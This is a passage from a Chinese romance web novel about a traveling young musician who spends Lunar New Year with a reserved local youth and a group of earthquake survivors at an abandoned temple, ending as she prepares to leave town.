寒冬尚未过去,风大天寒的时候,她就一个人窝在房间里,练练琴、读读书、翻翻那本冷笑话大全,总有什么事可以做。
天气倘若明媚一些,她下午会出门演唱,背着自己那把鲜少带出门的吉他,学许甘像模像样地摆上直播。
乐队主号中粉丝颇多,难免要与观众频繁互动。
她只有一个人,担心照顾不过来,用了自己的个人账号,没有流量,也没有多少人看,却也自在。
有一次街头驻唱,她遇见了应潭的朋友,那个叫作范钱荣的男生。
他看到她,并不意外,扯着嗓门打招呼:“溱姐!”
江潮回以微笑,看见他走近,在她周围扫视一圈:“怎么就你一个人啊?”
她回答:“他们都回去过年了。”
范钱荣愣了一下,像是这才想起他们是迟早会离开的旅客,又紧接着疑惑:“那你……”
他声音一顿,大概是察觉到问这种问题也许会触及到别人的伤心事,生硬地转开话音:“——就你一个人唱歌,应哥怎么也不来捧捧人场。”
江潮不解,只说:“他上班应该很忙。”
“忙啥?”范钱荣心直口快,“我估摸着应哥现在就搁那头听着呢。”
“……听什么?”
“听你唱歌啊,”范钱荣反倒懵了圈:“姐你不知道啊?我还以为你俩就这样熟起来的呢。”
江潮从未在街头唱歌的时候见到过应潭。
她的指尖停留在琴弦上,怔然片刻,又不由得好奇,“他在哪?”
范钱荣瞧着兴致勃勃,指了指她身后,“就在这后面呢,要不我带你过去找应哥?”
旁侧还有个老人家坐在长椅上,不知是在听她弹琴,还是走路走久了稍作歇息。
江潮指尖重新落回在吉他弦上,摇了摇头,笑笑:“代我向他问好。”
她仿佛并不在意,只是第二天唱完歌后,终究按捺不下心底好奇,拐过街角,进入身后公园。
石板道路凹凸不平,栅栏爬满常春藤枯枝,泛黄草地覆着薄薄一层积雪,雪面上零星散落着动物脚印。
她遥遥望见他坐在树池边,一条腿微屈,一条腿平直地踩着地面,手中似乎揣了本卷了边的书,身侧还放了个空掉的饭盒。
大概是听见了脚步声,他偏头看来,在看见她时目光一顿。
江潮背着吉他走近,一双手怕冷地缩在羽绒服口袋里,问他:“你下班了吗?在这里干什么?”
“没下班,”应潭把书收进装着饭盒的袋子里,淡淡答:“休息,出来吃饭。”
公园离舞厅很近,休息时间跑到这里来吃饭……或许也不是不能理解?
江潮眨了眨眼,转身看向那道栅栏,“你经常在这里听我唱歌吗?”
她问的时候没有多想,仅仅是因为新奇。毕竟只有一墙之隔,江潮从未想过,这个不起眼的角落里,还会有一位她的听众。
可应潭喉结却上下一滚,舔了舔唇。
昨日范钱荣过来的时候,一张脸笑成泛皱的菊花,不知到底和她说了些什么。他偏开眼,盯着地面,语调散漫:“也不算经常。”
最开始只是觉得听着能静心,经过时偶尔会驻足听一听。后来是担心她被人找麻烦,或是被地痞流氓缠上。
他怕她深想,猜测到某些应当深埋于地底的妄念,身体不自觉地紧绷。
却听她“哦”了一声,转开话题,一双眼眸关切地看着他,“你的伤好些了吗?”
“……”紧绷的肌肉又渐渐松缓,应潭“嗯”了一声,“好了。”
枯枝上压着的一层雪坠落,她瞳仁水亮,抿着唇笑,“那就好。”
在时落时停的大雪里,年尾除夕终于来临。
江潮第一次独自迎接春节,身侧没有朋友,也没有亲人。
该是阖家团圆聚餐的日子,她或许应该感到孤独。可她品尝到三分自在解脱,四分新鲜肆意,诸种情绪交织,却偏偏没有寂寞。
除夕傍晚,家里人打来视频通讯。江潮坐在床头,点了一下接通。
视频画面晃荡不已,母亲的面容在屏幕里放大,一张保养得当的脸显出温柔成熟的韵味。
“溱溱,”
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她亲昵唤道,“你起床啦?”
江潮点头,叫了一声妈妈,又问:“是去爷爷家里吗?”
“是呀,今年在爷爷家吃饭的。你看,爸爸和小优都在,前面开车的是你二叔叔。”
镜头晃动一阵,主驾驶座上的二叔叔叫了声“小溱”,副驾驶上的江优也喊了声“姐”。
江潮一一应声,唇边微笑浅淡,又听母亲说:“溱溱,你不是考上了美国的音乐学校吗,刚好可以让二叔叔帮你参考参考。”
“小溱录了什么学校?”二叔问:“茱莉亚?还是柯蒂斯?”
“不是,叔叔,”江潮答:“我录了伯克利。”
“伯克利啊?我还以为小溱你对古典乐更感兴趣……以后读什么专业,想好了吗?”
江潮确实有思考过,张口:“我想——”
“选表演吧,”另一道声音突兀插进,语调平稳,“以后毕业了进公司,爸爸帮你铺路。”
二叔叔赞同道:“小溱经验丰富,选表演专业确实稳妥。”
江优也笑着开口:“再过几年,我说不准就是国民女歌手的弟弟了。”
几秒沉默,江潮手指不经意间攥住被角,唇边笑意如常,“好,我会考虑。”
通讯挂断,她放下手机,攥着被的手指也渐渐放松。
江潮低眸,看向自己的指尖。她自幼练琴,指腹上的茧子长了掉、掉了长,如今已经没有明显的痕迹,只余下用手触碰时能感觉到的硬块。
第一次触碰琴键时,是什么样的感觉?懵懂、惧怕、茫然,她记不太清,却知道唯独没有欢喜。
窗外鞭炮骤响,烟花五彩斑斓,于空中留下瑰丽也短暂的倒影。江潮下了床,站在阳台边往下望。
不知多少户人家贴了春联,也不知多少户人家在看春晚。
她心情沉静,只是忽然觉得有些饿。
外卖平台上大多数餐馆都闭了店,江潮下楼想买泡面,前台空无一人,只留下一张字条留言,与一把大门的钥匙。
旅馆大门紧锁着,她回到房间里,拿起手机。
回复了数条信息,江潮拉过长长的消息列表,视线忽地落在一处昵称上。
迟疑片刻,她输入信息,语气彬彬有礼:请问今晚有在营业吗?
按下输入键,江潮将手机放在一边。她拿出柜子里的平板电脑,想着试一试剪辑这几天的直播视频。
还没下载好剪辑软件,手机忽地开始嗡鸣。江潮低头,AAA出租时间打来语音通讯。
她怔神,接起电话,“……喂?”
那侧风声喧嚣,隔着手机传来的声音有些失真,问了句“怎么了”。
“没什么,”江潮下意识答,捧着手机安静了片刻,又张口:“就是想问问你,知不知道哪家餐厅有开门。”
“嗯,”他语气淡淡,“然后?”
她斟酌语句,而他的嗓音紧接着落在耳廓,“想问我有没有时间当一当外卖小哥?”
江潮被猜穿了心思,有点儿无奈地弯起眼睛,又问:“那你有时间营业吗?”
扬声器中传出来的声响嘈杂,风声渐弱,他似乎把手机拿远了些,跟别人说了些什么。
江潮安静等待着。
“没有外卖。”
江潮叹气,一句“好吧”还没出口,便听应潭再次出声,嗓音懒散:“有堂食。”
她眨了眨眼。
他问得随意,“来吗?”
23. 第 23 章
黑色摩托在路边缓缓停下。
江潮接到信息,开门出来。她戴了顶深色的贝雷帽,黑亮长发披在肩头,衬得肤白如雪,一双眼眸亮如繁星。
应潭懒洋洋倚在车边,视线睨向江潮,精准将头盔抛至她怀中,“上车。”
她问:“我们去吃什么?”
“素火锅。”他答,“吃过吗?”
除夕夜吃素火锅,江潮有些意外,说:“可以尝试。”
车灯在马路上映落的光宛若被晕开般朦胧。
摩托一路驶到公交站边,应潭下车,抽出钥匙。
后面巷子里就是上次江潮与朋友来过的大排档,她脚尖触地,“原来是来这里。”
他抛了抛钥匙,应得散漫,“等会儿公交。”
江潮正要往巷子里走的脚步微顿,有些疑惑地抬眸。
“要坐公交车?这么远吗?”
应潭瞥来,淡声:“怕我把你拐走?”
她眨眼,在玩笑或认真应答之间选择了后者,“你不是那种人。”
一个大众眼中在舞厅里看场子的“不良青年”,不知她的信任究竟是从哪儿来。
他低眸看她,静默半晌,转开话音:“试过在寺庙里过年吗?”
江潮露出讶然神态,答了声“没有”,唇边又抿开笑,“听起来好像很有趣。”
公交车逐渐驶近,应潭偏开视线,如墨般的瞳底仿佛有什么悄无声息地化开。
昏暗的夜,车窗外街景转瞬即逝,世界在深色天穹下延展。
江潮倚着窗,看着漆黑的云与漆黑的树,恍惚间觉得这有些像是一场意外降临的大冒险。
而她喜欢这样的冒险。
车上乘客在路途中三三两两地离开,到终点站时已然寥寥无几。
她下了车,看见应潭撑着车门,没动,对着身后人喊了一声“鲁姨”。
江潮转过头。
跟在她身后下车的女人裹着深灰的朴素棉服,看着四十出头,五官轮廓还带着中年风韵,却佝偻着腰、垂着肩膀,眉宇间染着浅淡的疲惫。
她对应潭点了点头,看向江潮。
江潮弯眸,礼貌地对她笑笑。
鲁姨也扯起一点笑,又转回视线,说:“第一次看见你带朋友来。”
应潭答得平淡:“她一个人在这里过年。”
他们没有过多寒暄,看着是要走同一段路,却没想着要并行,似乎不太熟悉。
女人步子缓慢,距离很快便被拉远。江潮回过头,遥遥望了一眼,问:“她也要去寺庙吗?”
城郊小路边树木繁密,飞檐翘角与深灰砖墙在层叠枝桠间若隐若现,寺庙的全貌渐渐映入眼帘。
应潭踏上第一层石阶,垂眼看着长阶上的青苔,“嗯”了一声。
那是一座不大的小庙,前院仅设一方池塘、一只佛龛,一眼便能尽收眼底。
江潮踏过山门,往供奉着香火的主堂看去。有人安静跪坐着,黯淡的光影交叠,摇曳的烛火将墙上的倒影拉长。
应潭领着她走向偏院斋堂。
她隐约听见人声,走近时微显惊讶。
小院周围置放了一圈小盏灯笼,点点荧光交织着映亮视野。
院中支起一张长桌,桌边坐着数十人,有的安静坐着,望着院外出神;也有人三三两两地聚在一起,随口聊天。
听见脚步声,离入口最近的那人转头看来,眼神率先往江潮身上一落,神态带着些许兴味:“人接来了?”
“嗯。”
“去坐着吧,”对方笑笑:“汤底快烧开了。”
江潮没想到这里会聚着这么多人。
这样小的寺庙,前院池塘中覆着久未清理的腐烂落叶,墙面布满大片破损剥落的油漆,院中也并无僧人。
大概已经被现代社会遗弃许久的小庙宇,却在除夕夜迎来了这般多的客人。
她难免好奇,抬眸扫视一圈,问:“在寺庙过年,是曲溪的习俗吗?”
“习俗?”应潭抬眉,“不是。”
他稍稍停顿,“这里以前发生过一场地震。”
桌侧有人接话,自嘲的语气:“大家都没有地方去,就在这里聚一聚。”
江潮微怔。
她想起孤儿院里的那些孩子,又想起刚才那个跪坐在供台前的人影,恍然间明白了什么。
幼童失去父母,父母失去家人。他们聚在这里,或许最初是在祭奠亡魂,后来年复一年,渐渐成了彼此的慰藉。
她安静片刻,弯起眼:“那我也不算不请自来。”
玩笑般的语气,唇边勾起的弧度却牵强。
应潭的视线落在她的面容上。
他的瞳仁色泽本就比常人更深,定定地看着人的时候,眸中宛若覆着静翳深沉的情绪。
江潮若有所觉地侧过脸,“怎么了?”
少年偏开目光,嗓音很淡:“没什么。”
汤底在锅中翻滚,雾气弥漫升腾。
还没有开吃,天上落起小雪,一群人招呼着把桌子往堂里抬。
江潮站在一侧,听见身后的对话声。
“孩子有什么消息吗?”
“没有。”
“……那之后打算怎么办?”
“能怎么办?”是先前公交车站遇到的那位鲁姨在说话,“继续找。我已经把房子卖了,北边找不到,就往南边找。”
女人语气平淡,甚至难掩疲惫,话语却坚定。
江潮出神片刻,垂下眼睫。
火锅烧开了,先前在入口处与应潭说话的男人在应潭对面落座。他看着三十出头,面貌和善开朗,与江潮搭话。
“没见过他带人来,”他抬起下巴,点了点应潭,又转头问江潮:“你叫什么名字?”
“江潮。长江的江,潮水的潮。”
应潭似乎看了她一眼,“不是江溱溱?”
“……不是。那是我的小名。”
男人听着他们说话,抬手撑着下巴,乐呵笑着。
“你俩的名字还挺配,”他语气染上戏谑,对应潭挤了挤眼睛,“一个潮一个潭,都是水。”
应潭微顿,瞥他,冷飕飕道:“我和你都是人,是不是也挺配。”
江潮被他的回答逗笑,一双眼眸弯起来,眼睑卧蚕的弧度状若月牙。
在应潭对面坐着的男人姓黄,别人都叫他黄哥,是个卡车司机
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这个职业的性质其实跟流浪歌手有些相似,都是天南地北地跑,永远在路上奔波,鲜少有长久停下来的时候。
知道江潮平时会跑到不同的城市唱歌,他“嚯”了一声,问:“那你们接下来要去哪里?”
“我们还没有想好,”江潮坦然道,“黄哥有什么推荐吗?”
“我啊?要说我最喜欢的,那肯定是我老家宾县,”黄哥哈哈一笑:“不过这个时候过去太冷了。”
火锅沸腾,他将火调低,又说:“咱俩可以加个微信,黄哥我在外头的人脉还是挺广的。要是在陌生地方遇到了什么事儿,尽管来找哥帮忙。”
江潮笑着答应,而黄哥往口袋里掏了掏,没找着手机,“小应哥帮忙转个名片。”
应潭没说话,低头摸出手机。
她的手机就放在桌上,收到信息后震动一刹,屏幕随之亮起。他下意识一瞥,目光微顿。
江潮拿起手机,点开名片添加,笑着问:“黄哥的头像是嫂子吗?”
“是啊,”黄哥挑了一下眉,道:“我和她还是在这儿认识的。”
有人端着碗过来,找黄哥说话。江潮杯中果汁喝完了,起身去拿饮料瓶。
身侧探出一只手,先一步拿起饮料,放在她手边。
一声“谢谢”还未出声,江潮听到应潭低低开口,尾音微扬,“AAA出租时间?”
江潮眨了一下眼。
她反应过来,神态微窘,清了清嗓,解释:“以前看到传单时备注的,忘了改。”
不知什么时候开始流行起来的举动,备注里加上三个字母,等同于在联系人中手动置顶。
他瞳仁色泽微深,偏开脸,浑不在乎的模样,淡淡道:“不改也行。”
江潮没注意到他的神态,捧着手机改备注,应:“那可不行。”
“服务派送范围仅限曲溪,我都快走了,以后误点怎么办。”
应潭停顿。
他一时没说话,似是不在意地垂着眼,眼尾勾起的弧度天生锐而凉薄。
黄哥听到她的话,转过头来,问她哪一天走,可以找人去送她。江潮摇头回绝好意,说:“我朋友会来接我。”
应潭知道她所指的朋友是谁。
他们在青春岁月里一起旅行,而他被一则微小的备注牵引心神。
即便他清楚地知道她别无它意。
应潭突然觉得有些好笑,扯扯唇角,舌根泛上的滋味却不仅仅有自嘲,亦有难以言描的不甘。
须臾沉寂,他指节磕在冰凉坚硬的桌角,忽地开口,不冷不淡地反问:“谁说服务范围仅限曲溪?”
江潮转头看他。
应潭看着眼前的桌面,深邃的眉骨落下阴影,漫不经心道:“可能哪天我就去申城了。”
江潮眼睫微眨。
她下意识想说自己接下来四年就要在波士顿度过,这业务还得再往外扩一扩。可嗓音出口时转了个调,“是吗?”
“那你要加油,”她说,弯起眼,“到时候让我尽尽地主之谊。”
“行,”
他终于侧眸,黑黢黢的瞳底深沉而寂静,语调却无所谓般散漫,“我记住了。”
24. 第 24 章
火锅吃到了深夜。
有阿姨带来一整包仙女棒,满脸笑容地给他俩分了一把,嘴里念叨着“现在的小孩儿就喜欢这种花样”。
江潮笑盈盈地道谢,要来打火机,点燃一支。
冷光烟花耀眼灼目,在夜色中留下的轨迹宛若繁星铺就。
她坐在门边随手把玩,接到许甘打来的电话,拿着手机走到院落里,叫了一声“小甘”。
“谁在说话呢?”
许甘听见她这边隐约的人声,面容在屏幕里放大,“我还想着来给你送送温暖呢,你这是在哪儿啊?”
江潮找了张凳子坐下,短靴踩着椅下横杠,膝盖轻轻晃动,“我在外面吃火锅。”
“和谁一起啊?”许甘八卦道:“不会是上回那个玩真心话大冒险逮着你问的男大吧?”
那个男生前几天确实有发信息邀请江潮一同出来吃饭,但江潮婉拒了。她摇头,举着手机,往身后照了照。
许甘瞄了一眼,一句“人还挺多”说到一半,一双眼睛忽地瞪得溜圆,“那不是应潭吗?”
江潮点头,答了一声“是”,简短解释了来龙去脉。
屏幕上女孩儿的神色变了又变,一会儿皱眉呲牙,一会儿状若沉思。
江潮托着腮,颇觉有趣地看着许甘频频变脸,好笑道:“你怎么了?”
许甘凑近,脑门都快抵上摄像头,压低声音说话:“我真觉得姓应的对你有意思。”
江潮怔神片刻,旋即哑然失笑。
喜欢的方式有许多,毫不掩饰的渴望,欲擒故纵装矜持,热烈纯粹的直白坦然。
哪有人像他那样,眉眼神态永远冷淡散漫,连扯唇笑一笑都觉得吝啬。
何况那天她想要给他拿几支药膏,不过多寻找了一段时间,下楼时他的人影便已经不见。
倘若他对她有意思,怎么可能连几分钟的耐性都欠缺。
江潮没将她的话放在心上,点了点屏幕,说许甘,“你看谁都觉得对我有意思。”
“真的啊,难道你不觉得他……”
画面里多出一个背对着镜头的人影,江潮自然地转移话题,问她:“谁在身后?是小妹吗?”
“是啊,”许甘的注意力果真被转开,扭头叫道:“许甜甜,还不快点过来给你小江姐姐拜年。”
将近散场,江潮挂断与许甘的通讯,握着手机回到屋内。
她帮忙收拾东西,眸光环视一圈,小步挪到应潭身侧。
“大家好像都有带东西来。”江潮迟疑着,“我是不是应该……捐点香火钱?”
应潭手臂撑起后备箱箱门,转身拎起一排折叠椅,脉络分明的掌背上隐隐突起青筋。
“这里一个和尚都没有,”他瞥来,“你要捐给谁?”
江潮又往周围看了一眼,不太好意思白吃白喝,“只有我一个人两手空空。”
“不是说要尽地主之谊么,”
应潭收回视线,把折叠椅放进黄哥的后备箱,懒散道:“你现在在曲溪,地主该我当。”
江潮忽地安静,一对瞳仁儿微转。
要说的话还未出口,眉眼便已经染上了笑,她清了下嗓,出声:“抢地主。”
应潭动作稍顿,抬了抬一边眉梢。
她靠着桌角,见他无言望来,眨眼与他对视,一本正经地发问:“干什么?难道不好笑吗?”
他静默几秒,像是从胸膛里轻呵出低低的气音,唇角展开细微弧度,却答:“不好笑。”
江潮故作微恼地抱起臂,抬手时手腕泛起细微的痛。她轻嘶一声,低眼查看,肌肤被桌边粗糙的木刺蹭破了皮。
“怎么了?”
江潮伸手摸了摸,破皮处有细细缕缕的红,但没出血。她不太在意地答:“被蹭了一下。”
身前落下阴影,应潭大步走来,目光落在她纤细的碗间,皱眉:“先拿水冲冲。”
少年好似不怕寒冷,在搬东西时脱了外衣,又把衣袖折到手肘。那露出的一小截手臂坚韧结实,数道伤痕蜿蜒盘踞,在小麦色的皮肤上分外醒目。
“只是破了点皮,”对比太过强烈,江潮难免觉得好笑,问:“你眼里居然也看得见这种小伤口吗?”
她尾音扬起,话语中的打趣意味明显。应潭抬眼,张了张唇。
室内仅靠烛火照明,并不明亮。
他像是想说什么,眼底波澜深深,可最后只是一偏脸,将拧开的矿泉水放在她手边,神色全藏在了烛光的暗影里。
除夕夜公交停运得早,黄哥主动提出送他们一程。
她上车的时候,恰好和那个送江潮烟花棒的阿姨撞见。女人“哎呀”一声,问江潮,“大闺女,仙女棒放完了没呀?”
听到江潮说放完了,她又隔着车窗塞进来一袋,眼角高兴地笑出深褶。
“妈这儿还有呢,拿回去玩儿吧。”
“这姨有时候会犯糊涂,脑子不太灵光。”前面黄哥闻声转头,压低声音,“你拿着就是了。”
江潮手指搭在安全带上,微微停滞。
心尖柔软下来,她弯眸接过,“谢谢阿姨。”
雪降得愈大,如鹅毛般纷落。
引擎声启动,江潮看着窗外的夜色,恍惚间想起了自己刚来曲溪的那一天。
初秋至暮冬,时间过得这般快,转瞬便到了该走的时候。
旅馆大门紧锁,江潮解开安全带,下车后转过身。
她想要隔着车窗道别,却闻对面一声开门声响,应潭下了车,撑着车门站着。
路灯在黑夜里映落淡光,纷飞雪花于昏暗光束中旋转。
应潭问:“进得去么?”
深夜的风穿过发间,江潮点头,晃了晃手中的钥匙。
他“嗯”了一声,抬抬下颌,“去开门。”
江潮眨眼,不明所以地照做。
钥匙插/入锁孔,在转动后犹如卡死般顿住,她愣了一下,往另一个方向转动,还是开不动锁。
鞭炮声仍未停歇,他的脚步声被掩藏,不知何时悄无声息地来到她身侧,抬手。
少年的掌心虚虚笼在她的手上,带着寒风吹不散的、独属于年轻男人蓬勃炽热的体温。
江潮怔了一瞬,下意识想要抽开手,可他先一步覆上她的指节,带着她拧着那把钥匙,往左用力一摁。
“咔嗒”一声
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轻响。
他松开手,沉默着退后几步,将手插进兜里,仿若无意识地捻了捻指尖。
“……”
须臾沉寂,应潭垂着眼皮,开口时语调状似散漫,“进去吧。”
江潮亦然安静了几秒。
她收起钥匙,指尖摩挲着齿纹,往院内踏了一步,又转过头来。
“应潭。”
他偏头看来,眼底墨色浮动翻涌,看见她弯起眼笑起来,对他说:“谢谢你带我过年。”
应潭喉结动了动,漫不经心地“嗯”了声。
“我进去啦,”她挥挥手,嗓音温润柔和,“还没有跟你说新年快乐。”
“……”
片刻安静,应潭扯扯唇角。
“新年快乐。”
旅馆大门被关上了。
空气归于静谧,就连鞭炮声都短暂停歇。雪花落在眉骨眼睫,转瞬便化为浅淡湿痕。
应潭打开车门,坐进副驾。
黄哥挂断电话,扭头看了他一眼,启动车辆,“我还以为你们还得聊上一会儿。”
少年手肘支在窗边,指节抵着太阳穴,挺拔的鼻梁与高耸眉骨在眼窝处投下一片暗色阴影,衬得眼瞳愈发漆黑。
他语气平淡:“有什么好聊。”
“别装,”黄哥笑起来,抬眼看看后视镜,“大老远跑回去把人接来过年,别跟我说只是普通朋友。”
应潭唇角弧度抿得平直。
手机轻震,他拿起来看了一眼。她发来一个红包,备注了新年快乐。
出租时间获取报酬理所应当,可他收到信息后跨上摩托一路疾驰,心思又何曾那般坦荡。
应潭垂眼看着,指腹没碰屏幕,任由它黯淡下来,直至彻底黑屏。
“喜欢就鼓起勇气去追呗,”
黄哥掌心搭着方向盘,还在不正经地念叨,“你这个年纪也该谈一回了,青春年少多浪漫啊。等以后二十多岁开始奔三了,谈起来就没这会儿纯粹了。”
“我看那小姑娘也挺好的,人都要走了,就这样错过了多可惜。”
十二点将至。
短暂停歇的烟花一并轰鸣,宛若迈上长阶前齐齐盛开的礼炮。
天穹被斑斓花火渲染如昼,隔着挡风玻璃,镀上少年不经意间绷紧的下颌。
她是天上肆意自由的飞鸟,而他是地上摸爬滚打的野犬。二者之间宛若横着道天堑,就连一声“再见”都难以出口。
残留指腹的柔软温度早已散了个干净,应潭扯了扯唇角,“可惜什么?”
“哪哪都可惜,以后还不知道能不能遇见真心喜欢的。”
黄哥打了下方向盘,说:“你们现在有手机有短信,维持联系多容易。有时候一错过了,就是错过一辈子。”
烟火被小楼短暂遮蔽,少年被映亮一瞬的面容也随之黯下。
“……像她那样的人,”
他微顿,放下手,曲起的指节从额侧落到唇边,抵在齿尖。
咬得用力,指骨处皮肤泛了白,应潭喉结滚了滚,重新开口时语气分外平静,近乎嗤笑。
“和我这种人站在一起,才称得上可惜。”
25. 第 25 章
江潮离开的前一天,曲溪下起了大雨。
这座小城的秋冬似乎鲜少有明媚天气,初来乍到时雨水淅淅沥沥,如今要走了,骤雨倾盆而下,路上都积起了大片大片的水洼。
乐队账号发布了新的动态,一句简短的“烟花三月下扬州,遗失街头也要重新启程啦”。
寒风夹着雨掠入室内,江潮拿着手机点了一个赞,又将动态转发到朋友圈,起身去关了窗。
本想离开前在街边最后演奏一回,可惜天气预报上的雨水图案从早到晚地贯彻了今明二日。
江潮窝在房间里收拾东西,瞥见桌边放着的纸箱。
前几天刚到的快递,她还没有拆开过。江潮拍拍裤腿,扶着床脚站起来,把纸箱抱到楼下。
小茗还未返校,江潮叫了她一声,“小茗,能帮我一个忙吗?”
“什么事儿?”
小茗在打手游,头没探出来,声音却响亮,“溱溱姐你尽管说。”
纸箱颇为沉重,江潮把它放在一边,问小茗能不能把这个箱子转交给应潭。
小茗显然愣了一下,“给应潭?”
但游戏打得激烈,她手指在屏幕上飞快操作,专注到顾不上多问,“行,你放那儿,我叫他有空来拿。”
江潮道了声谢,又回房间拿来一个装得鼓鼓囊囊的袋子。
乐队四人还在的时候一起买了不少零食,到现在都还没有吃完,江潮索性全送给了小茗。
小茗“哎呀”一声,大方收下,又从激烈的交战中抽空做了个军礼,笑嘻嘻地说“保证完成任务”。
发出去的那一条朋友圈下已然多出了数条评论,问她什么时候走、接下来要去哪里。
一条一条地回太过麻烦,江潮坐在安静房间里,在底下统一回复。
明天从曲溪启程,接下来去扬州。她打完字,在末尾再附上一个笑脸。
午时,应潭从舞厅里出来。路边有辆车在等他,是白老大那边从申城来的人。
他上了车,前座驾驶座上的司机转过头来,打量了眼他的神色。
过年时白小姐被接回了申城,与家里人闹了些别扭,回到曲溪后寻人发泄。
那位小姐的性格向来如此,只是她这回下手太不知轻重,据说用滚烫的开水泼伤了他的腿,害得人住了几天院。
白老板担心这小子心生厌恨反意,才差遣他来曲溪,探一探他的态度,如果表现得不对劲,那就趁早打发处理。但如果还能安抚——
那就尽量给颗甜枣,毕竟这种能够毫无顾忌拿捏的出气筒,也确实难找。
“你就是应潭吧?”男人心中思绪错综复杂,嘴上状若关心:“伤口怎么样了?”
少年垂着眼帘,语气沉而淡,“只是一点烫伤,医生也开了药,没什么大碍。”
没什么大碍,可方才他走过来时显然跛着脚。
男人没说穿,多观察几眼,心中有了计较,转过头去。
“白老板发过话,你这些天好好卧床休息就行,不用陪着鑫桃瞎胡闹。”
“听说之前有人找过你麻烦?”他启动车辆,给上了甜枣:“白老板恰好和万平上头的那位大哥认识,特意嘱咐过我帮你平一平事。”
“一些小事,我自己就能解决,”应潭抬了抬眼,“用不着麻烦哥。”
“都是跟着白老大混的兄弟,和我见什么外。”男人笑起来:“何况是老大亲自嘱咐的,老大对你可不是一般的上心啊。”
车辆停在万平台球厅外。
那天抬着下巴嚣张不已的一群混混,此刻面露讨好、卑躬屈膝。应潭面上冷淡平静,心底同样波澜不惊,只余眨眼即逝的一缕讥嘲。
回到车上,前头男人笑着问他感觉怎么样的时候,少年默了几秒,却扯起唇角,眉眼间浮现扬眉吐气的神态。
男人满意地转回头,换了副过来人的口吻,老大哥般道:“跟着白小姐确实很难。”
“不过路越艰难,尽头的回馈就越丰厚。你要是能坐稳这个位置,以后少不了你的好处。”
雷雨轰然落下。
车停在居民楼外,男人看一眼表,问应潭需不需要他帮忙搀扶着上楼。
应潭撑开伞下车,回答不用。对方似是松了口气,随口叮嘱一句好好休息,发动引擎。
车辆喷薄着尾气驶去。
少年站在原地,脸上没什么表情。伞挡不住重迭斜雨,他的手插入发间,将被风吹得凌乱的发一股脑地往后撩。
小腿处灼热刺痛,他额头布了一层细汗,忍着疼上楼,回到房间。
台球厅里的那几个人在他走时给他塞了笔钱,厚厚一叠,申城来的那男人叫他把钱自己收着。
应潭把纸币放进枕头下空瘪的信封里,不知这算是医药费还是保护费,他眉眼间晃过微嘲,也懒得去想。
床头边丢着个塑料袋,他从里头扯出纱布,倚着床换好了药。
编织玩偶随着床垫的塌陷晃了晃,面朝下地倒在床上,应潭瞥了一眼,随手把它拨正。
手机收到数条新信息,范钱荣发来截图,图上是乐队新发布的动态。
下边还跟着好几条语音,他没耐心去听,点击转文字。
——小溱姐好像这几天就要走了!!!
——应哥你说,咱们要不要去给她送个行啥的?
他看着手机屏幕,静默几秒,一双眼睛黑漆漆的,不知道在想些什么。
片刻静止,应潭打字,回:你想去就去。
范钱荣立马拨来电话:“你不去我哪好意思自己去啊!”
他说着,又叹了口气,“算了,我也搞不来那套,到时候去送人家,也不知道该说什么。”
房间里隔音差,应潭声音压得低,听起来增添了几分懒散。
他像是有些心不在焉,手指在屏幕上划动,“你不是最擅长交际吗。”
“咱们这圈子又不一样……”范钱荣嘀咕:“我平时哪跟主唱姐姐那样的人交际过啊,在她面前说话都小心翼翼的,生怕说错了啥。”
应潭轻嗤一声,没说话。
“倒是应哥你,真不准备去送送人家啊?”他八卦起来,笑嘻嘻道:“我看你们不还挺熟悉的嘛。”
半晌没有得到回复,范钱荣低头一看。屏幕上跳出对方网络不佳的提示,再过上半分钟,通讯自动挂断了。
手机双线程运行时卡死,应潭
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蹙紧眉宇,轻啧一声,长摁开机键重启。
开机完毕,他点进微信,打开方才未能成功进入的朋友圈。
她设置了近三个月可见,朋友圈中始终空空荡荡,却在今早冒出了一条新的文字状态,底下还有她自己的一条评论。
明天从曲溪启程。
应潭盯着那一行文字。
手机的光斜斜地映在他的面容上,眉骨鼻梁的阴影更加分明冷硬。
他看了一会儿,把手机丢在了一旁,视线落在天花板上。
天花板粉刷得并不平均,一块深一块浅,角落发了霉,布着如蛛网般长短不一的裂纹。
眼睛有些发疼,应潭垂目,随手拿起一本书。
房东一家人的声音隔着薄薄的墙板透过来,男人骂今天的饭淡出鸟来,女人回嘴说有本事你自己煮去。
没过一会儿,房门被砰砰拍响,房东站在门外,见应潭开门,斜眼看过来,开门见山。
“下个月的房租该交了吧?”
应潭比他高出半个头,垂着眼睨他。
离该交房租的时间还有三四天,他没说什么,转身回房间拿钱,没多久便再度出来。
几张钞票被递到房东手里,男人透过他与门之间的缝隙,瞥了房间里头一眼:“你这屋子记得勤打扫,平时白天在家里也没必要开灯……”
应潭脸色冷淡,敷衍答了声“嗯”,反手关了房门。
墙外又响起声音,房东走远几步,开始骂骂咧咧,说这个房客一天到晚臭着张脸,仿佛他们欠了他百八十万。
“我寻思着你哪来的脸好意思说别人,也不先去照照镜子瞅瞅你自己,”
他老婆骂他,“要不是过年人家找上门来,老娘还真不知道你在外头赌钱。”
应潭倚回床头,翻开了下一张书页。
夕阳落下,夜渐渐深了。吵架声时响时停,楼上脚步声反反复复,管道水声哗啦流淌。
凌晨三四点,所有噪音最后都归于一片寂静。
空气静默着,只有他浅浅的呼吸,与不知隔着多少道墙传来的细微鼾声。
刚被烫伤那天疼到难以入眠,可今晚失眠的原因不同。应潭对此心知肚明,摸到床边小小的玩偶,放在掌心把玩。
一颗心脏犹如漂浮在这深深的黑夜,漫无目的地游荡,又被一根细绳牵扯着,往不见底的深渊一点一点地坠落。
应潭躺在床上,睁开眼。伸手不见五指的黑夜,他的眉眼隐在暗色里,瞳光深邃而清明。
兴许是冲动驱使,又或许是一些更深、更复杂的情绪。应潭坐起来,换好衣服下楼。
楼梯道的灯泡映亮他的那一张面容,少年牙关微咬着,下颌的弧度绷得僵硬,一双黑黢黢的眼定定地看着前方的路,眼底仿若涌动着层层叠叠的深云。
到了百佳。
应潭停稳摩托,坐在那儿,没伤到的腿支着地面,从兜里摸出包烟,取出一支点燃。
烟雾萦绕。
东方渐渐泛起鱼肚白,他身上沾着雨后清晨冷冽的雾气水露,眉眼神态却宛若地底暗沉的火。
可那火焰又在她的身影出现后突兀熄灭,陷入沉默而隐忍的坚冰里。
26. 第 26 章
江潮今天起得格外早。
前不久有一位朋友联系她,说是刚好会经过曲溪这一块儿,可以拐过来接她,送她去附近的机场。
江潮欣然答应,不想让来帮忙的朋友久等,于是提前下楼等待。
“应潭?”她把行李推到院中,隔着门看到他,意外地眨了一下眼,问:“你是来拿东西的吗?”
他像是没有听见,掐了烟,阔步上前。
“你要走了?”
